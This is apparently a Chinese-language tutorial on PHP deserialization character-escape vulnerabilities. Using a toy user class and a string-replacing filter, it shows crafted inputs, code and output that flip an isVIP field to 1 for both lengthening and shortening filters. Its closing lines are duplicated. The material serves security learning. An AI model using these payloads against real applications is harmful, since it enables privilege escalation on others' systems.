php反序列化字符逃逸
php反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
php反序列化字符逃逸分类
过滤后字符变多
过滤后字符变少
过滤后字符变多
我们先定义一个类 user
,成员变量 username
,password
,isVIP
,并且序列化
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$obj = new user('admin','123456');
$obj = serialize($obj);
echo $obj;
输出:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以看到,我们user类的对象默认 isVIP=0,并且不受传入参数的影响
这时我们增加一个过滤:
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
完整代码:
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;
输出:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
此时,admin
在序列化串中已经变成了 hacker
,并且字符串长度比5多了一个,变成了6
我们对比一下两次的输出:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//过滤前
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //过滤后
我们想要构造,将 isVIP的值变成 1,如何才能做到呢?admin位置
现有字串与目标字串如下:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有字串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标字串
我们知道,传入的admin位置是可控变量 ,所以我们需要在该位置插入目标字串,
目标字串的 ";
将admin参数位置处的双引号闭合,即可造成字符逃逸
但是我们admin参数位置处的字符串长度对应不上,由于我们需要逃逸出来的字符串为:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
其长度为47.
这就导致我们admin传参位置的参数少了47长度,必须再添加47长度才行,但是怎么添加呢?
我们知道,每次过滤的时候,admin
会变为:hacker
长度加了1,所以我们传参时可以重复47次 admin
。这样我们的参数就会增加47长度,再减去逃逸的47长度字符串,长度就合适了。
可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整的代码为:
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}', "123456");
$a = serialize($a);
echo $a.PHP_EOL;
$a = filter($a);
echo $a;
print_r(unserialize($a));
输出:
O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}user Object
(
[username] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
[password] => 123456
[isVIP] => 1
)
反序列化后,多余的子串会被抛弃, 在大括号 } 之外的原先字串就被抛弃了:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们观察反序列化之后的输出 isVIP=1,反序列化字符串逃逸已经成功了。
过滤后字符串变少
我们将上面过滤参数中 hacker
改为 hack
,其余代码不变:
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;
输出:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
发现如果username值存在admin
,会被替换为 hack
,长度减一
此处输出的username值的长度已经不符合5了
我们也要想办法构造,使得 isVIP=1
,我们对比一下现有子串和目标子串:(长度为47)
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标
php反序列化有一个特性:
当序列化字符串属性的长度不够时,会往后走,直到长度与规定的长度相等为止.
例如,此处序列化字符串属性值
hack
的长度为4,但是原本属性长度为5,所以会往后走1位,属性值为:hack"
把后面的双引号也算进去了。也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
我们计算一下本可控变量末尾到下一可控变量的长度:
";s:8:"password";s:6:" //长度为22
因为每次过滤都会少一个字符,我们先将 admin重复22遍:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
输出:
{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
即:
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
我们构造对象,序列化后过滤,再输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。长度再减2
最终代码:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
输出结果:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
这样长度就对上了。我们将反序列化后的对象输出:
user Object
(
[username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
[password] => 123456
[isVIP] => 1
)
此时 isVIP=1 ,字符逃逸成功!
参考文章:
PHP反序列化字符逃逸详解
对上了。我们将反序列化后的对象输出:
user Object
(
[username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
[password] => 123456
[isVIP] => 1
)
此时 isVIP=1 ,字符逃逸成功!
参考文章:
PHP反序列化字符逃逸详解